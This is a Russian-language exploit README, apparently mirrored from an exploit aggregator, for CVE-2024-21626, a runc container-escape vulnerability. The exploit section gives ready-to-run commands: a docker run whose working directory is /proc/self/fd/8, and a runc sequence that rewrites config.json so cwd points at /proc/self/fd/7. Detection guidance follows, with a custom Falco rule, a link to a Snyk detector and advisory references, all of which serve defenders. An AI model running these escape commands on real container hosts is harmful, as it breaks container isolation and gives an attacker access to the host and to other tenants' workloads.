Exploit for CVE-2024-21626

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NITROCAO-CVE-2024-21626
# CVE-2024-21626

Подробное объяснение этой уязвимости см. в моей статье.

## Эксплойт

### Эксплойт через запуск контейнера

Не нужно собирать собственный образ, просто запустите контейнер с параметром `-w`:

root@kitploit:~
    
    
    docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
    

![эксплойт через запуск контейнера](https://assets.kitploit.com/production/public/readmes/38363/3c2ae851c5c45890da3603a75de2813ac5285db556a8f30070c8d0c3cb6c6b24.gif)

### Эксплойт через exec в запущенном контейнере

![Эксплойт через exec в запущенном контейнере](https://assets.kitploit.com/production/public/readmes/38363/f1ba09aed01b32cd1a44ef5a92e50a1a9224b44d8d57ceeff1191486b578bbdb.gif)

### Эксплойт через сам runc

root@kitploit:~
    
    
    ~/container/runc/runc --version
    docker run --name helper-ctr alpine
    docker export helper-ctr --output alpine.tar
    mkdir rootfs
    tar xf alpine.tar -C rootfs
    ~/container/runc/runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
    grep cwd config.json
    sudo ~/container/runc/runc --log ./log.json run demo
    

![Эксплойт через сам runc](https://assets.kitploit.com/production/public/readmes/38363/b09957bdc65514ce469ef4af081366e06ccdbe37902c73ee958ccb9ab9dc22f6.gif)

## Как обнаружить

Эксплойты имеют следующие характеристики:

  * Контейнер выполнит `execve(2)` процесс с особой рабочей директорией, начинающейся с `/proc/self/fd/`.
  * Контейнер создаст символические ссылки через `symlink(2)` или `symlinkat(2)` со специальной целевой ссылкой на директорию, которая начинается с `/proc/self/fd/`.
  * Контейнер откроет файлы через `open(2)`, `openat(2)` или `openat2(2)` с именами файлов вида `/proc/\d+/cwd/.*`.



### Динамический детектор Leaky vessels от synk

https://github.com/snyk/leaky-vessels-dynamic-detector

### Falco

Вот пользовательское правило Falco:

root@kitploit:~
    
    
    - macro: container
      condition: (container.id != host and container.name exists)
    
    - rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
      desc: >
        Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
      condition: >
        container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
      output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
      priority: CRITICAL
    

Но фильтрация ложных срабатываний по `proc.name` — не лучшая идея.

![обнаружение эксплойтов с помощью Falco](https://assets.kitploit.com/production/public/readmes/38363/c2dc444ea660da72fd7ce39690936e38af91ebeb500187057b4c2ec641329ab8.gif)

# Ссылки

  * https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
  * https://github.com/opencontainers/runc/commit/8e1cd2f56d518f8d6292b8bb39f0d0932e4b6c2a
  * https://github.com/opencontainers/runc/commit/f2f16213e174fb63e931fe0546bbbad1d9bbed6f
  * https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48
  * https://github.com/opencontainers/runc/commit/ee73091a8d28692fa4868bac81aa40a0b05f9780
  * https://access.redhat.com/security/cve/cve-2024-21626
  * https://github.com/snyk/leaky-vessels-dynamic-detector
  * https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/
  * https://nvd.nist.gov/vuln/detail/CVE-2024-21626
  * https://github.com/snyk/leaky-vessels-dynamic-detector